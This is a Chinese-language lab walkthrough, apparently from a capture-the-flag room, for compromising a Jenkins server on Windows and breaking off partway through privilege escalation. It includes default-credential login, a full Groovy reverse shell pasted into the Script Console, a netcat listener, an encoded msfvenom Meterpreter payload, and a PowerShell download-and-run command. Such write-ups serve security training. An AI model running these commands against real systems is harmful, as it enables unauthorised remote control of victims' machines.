利用Jenkins獲得初始shell,然後通過利用Windows身份驗證來升級權限。 Jenkins是一款由Java編寫的開源的持續整合工具。在與Oracle發生爭執後,專案從Hudson專案復刻。 Jenkins提供了軟體開發的持續整合服務。它執行在Servlet容器中。 維基百科
使用環境
目標OS: Windows
攻擊OS: Kali
實際演練
Step1. 偵查,已知目標IP為10.10.50.172,利用nmap挖掘port。
nmap -sS 10.10.50.172
目前發現3個port是開的,其中一個肯定是jenkins的port,因為主題就是Jenkins服務嘛!
看看80port的網頁實在不知道Bruce Wayne是誰,查了一下好像跟RIP 蝙蝠俠有關係 …
Step 2. 進到Jenkins的登入頁先試試官方(這裡的官方是Jenkins本身預設的)提供的預設帳號密碼 admin/admin,結果成功。
Step 3. 進去之後 進到 http://10.10.50.172:8080/script,這個一個Script Console,使用Groovy語言,試試看能不能在這邊塞payload。
其實Jenkins就是用java編寫的,而Jenkins除了pipeline語法外也能用Groovy寫。
維基補充,Apache的Groovy是Java平台上設計的物件導向程式設計語言。這門動態語言擁有類似Python、Ruby和Smalltalk中的一些特性,可以作為Java平台的手稿語言使用,Groovy代碼動態地編譯成執行於Java虛擬機器(JVM)上的Java位元組碼,並與其他Java代碼和庫進行互操作。
去Github上翻翻Groovy的Reverse Shell。
其中code為
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
替換好主機跟端口號後,先不要執行,在自己的terminal先建netcat。
nc -lvnp 4444
回過來Jenkins按執行,回到terminal,如果成功的話就連線了。
Step3. 打進來後,要尋找user.txt,我們知道要搜尋檔案的指令是 dir (Linux是find)。
dir /s/p user.txt
Step4 . 這裡我們要提權,改用powershell來做。
先用python快速開一個web server。
python -m http.server
Step5. 利用meterpreter reverse shell產生 payload。
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe
payload 大小73802 bytes
Metasploit設定payload
Step6. 前面幾步已經打到Jenkins的Windows上了,利用powershell指令來下載我們產好的payload。
powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"
載好後,在Windows上執行。
powershell -c Start-Process "shell-name.exe"
… 暫時先寫在這邊